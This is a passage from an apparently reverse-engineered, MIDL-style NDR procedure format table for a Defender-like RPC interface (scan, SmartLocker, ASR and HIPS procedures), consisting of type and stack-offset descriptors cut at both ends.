size=8 */ +/* 7250 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7252 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7254 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7256 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7258 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc130_ServerMpDisableXBGM */ + +/* 7260 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7262 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7266 */ NdrFcShort( 0x82 ), /* 130 */ +/* 7268 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7270 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7272 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7276 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7278 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7280 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7282 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7284 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7286 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7288 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7292 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7294 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7296 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7298 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7300 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc131_ServerMpDisableXBGM */ + +/* 7302 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7304 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7308 */ NdrFcShort( 0x83 ), /* 131 */ +/* 7310 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7312 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7314 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7316 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7318 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7320 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7322 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7324 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7326 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7328 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7330 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7332 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7334 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7336 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7338 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7340 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc132_ServerMpXBGMUpdateIV */ + +/* 7344 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7346 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7350 */ NdrFcShort( 0x84 ), /* 132 */ +/* 7352 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7354 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7356 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7358 */ NdrFcShort( 0x39 ), /* 57 */ +/* 7360 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7362 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 7364 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7366 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7368 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7370 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7372 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7374 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7376 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7378 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7380 */ NdrFcShort( 0x148 ), /* Flags: in, base type, simple ref, */ +/* 7382 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7384 */ 0x2, /* FC_CHAR */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7386 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7388 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7390 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7392 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7394 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7396 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7398 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7400 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 7404 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7406 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7410 */ NdrFcShort( 0x85 ), /* 133 */ +/* 7412 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7414 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7416 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7418 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7420 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7422 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7424 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7426 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7428 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7430 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7432 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7434 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7436 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7438 */ NdrFcShort( 0xa1e ), /* Type Offset=2590 */ + + /* Parameter arg_2 */ + +/* 7440 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7442 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7444 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7446 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7448 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7450 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + +/* 7452 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7454 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7458 */ NdrFcShort( 0x86 ), /* 134 */ +/* 7460 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7462 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7464 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7468 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7470 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7472 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7476 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7478 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7480 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7482 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7484 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7486 */ NdrFcShort( 0xa5c ), /* Type Offset=2652 */ + + /* Parameter arg_2 */ + +/* 7488 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7490 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7492 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7496 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7498 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc135_ServerMpOnDemandStartScan2 */ + +/* 7500 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 7502 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7506 */ NdrFcShort( 0x87 ), /* 135 */ +/* 7508 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 7510 */ NdrFcShort( 0x30 ), /* 48 */ +/* 7512 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 7514 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xb, /* 11 */ +/* 7516 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7520 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7522 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7524 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7526 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7528 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7530 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7532 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7534 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7536 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7538 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7540 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7544 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7546 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7548 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 7550 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 7552 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7554 */ NdrFcShort( 0x3e0 ), /* Type Offset=992 */ + + /* Parameter arg_6 */ + +/* 7556 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7558 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7560 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 7562 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7564 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7566 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 7568 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 7570 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 7572 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_9 */ + +/* 7574 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 7576 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 7578 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_10 */ + +/* 7580 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7582 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 7584 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7586 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7588 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 7590 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc136_ServerMpQueryDefaultFolderGuardList */ + +/* 7592 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7594 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7598 */ NdrFcShort( 0x88 ), /* 136 */ +/* 7600 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7602 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7604 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7606 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7608 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7610 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7612 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7614 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7620 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7622 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7624 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7628 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7630 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7632 */ NdrFcShort( 0xa7a ), /* Type Offset=2682 */ + + /* Parameter arg_3 */ + +/* 7634 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7636 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7638 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7640 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7642 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7644 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc137_ServerMpRpcTriggerStatusRefreshNotification */ + +/* 7646 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7648 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7652 */ NdrFcShort( 0x89 ), /* 137 */ +/* 7654 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7656 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7658 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7660 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7662 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7664 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7666 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7668 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7670 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7672 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7674 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7676 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7678 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7680 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7682 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7684 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc138_ServerMpRpcGetHIPSRuleInfo */ + +/* 7688 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7690 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7694 */ NdrFcShort( 0x8a ), /* 138 */ +/* 7696 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7698 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7700 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7704 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7706 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7708 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7710 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7714 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7716 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7718 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7720 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7722 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7724 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7726 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7728 */ NdrFcShort( 0xa98 ), /* Type Offset=2712 */ + + /* Parameter arg_3 */ + +/* 7730 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7732 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7734 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7736 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7738 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7740 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc139_ServerMpEnableSmartLocker */ + +/* 7742 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7744 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7748 */ NdrFcShort( 0x8b ), /* 139 */ +/* 7750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7752 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7754 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7756 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7758 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7760 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7762 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7764 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7766 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7770 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7772 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7774 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7776 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7778 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7780 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7782 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc140_ServerMpDisableSmartLocker */ + +/* 7784 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7786 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7790 */ NdrFcShort( 0x8c ), /* 140 */ +/* 7792 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7794 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7796 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7798 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7800 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7802 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7804 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7806 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7808 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7810 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7812 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7814 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7816 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7818 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7820 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7822 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7824 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc141_ServerMpXBGMUpdateIV */ + +/* 7826 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7828 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7832 */ NdrFcShort( 0x8d ), /* 141 */ +/* 7834 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 7836 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7838 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7840 */ NdrFcShort( 0x18 ), /* 24 */ +/* 7842 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7844 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 7846 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7848 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7850 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7852 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7854 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7856 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7858 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7862 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7864 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7866 */ NdrFcShort( 0x8ce ), /* Type Offset=2254 */ + + /* Parameter arg_3 */ + +/* 7868 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7870 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7872 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7876 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7882 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc142_ServerMpFlushLowfiCache */ + +/* 7886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7892 */ NdrFcShort( 0x8e ), /* 142 */ +/* 7894 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7896 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7902 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7904 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 7906 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7908 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7914 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7918 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7920 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7922 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7924 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7926 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc143_ServerMpRpcGetAsrBlockedProcesses */ + +/* 7928 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7930 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7934 */ NdrFcShort( 0x8f ), /* 143 */ +/* 7936 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 7938 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7940 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7942 */ NdrFcShort( 0x4c ), /* 76 */ +/* 7944 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7946 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x6, /* 6 */ +/* 7948 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7950 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7954 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7956 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7958 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 7960 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7962 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 7964 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7966 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7968 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7970 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7972 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7974 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 7976 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7978 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7980 */ NdrFcShort( 0xad2 ), /* Type Offset=2770 */ + + /* Parameter arg_5 */ + +/* 7982 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7984 */ NdrFcShort( 0x28 ), 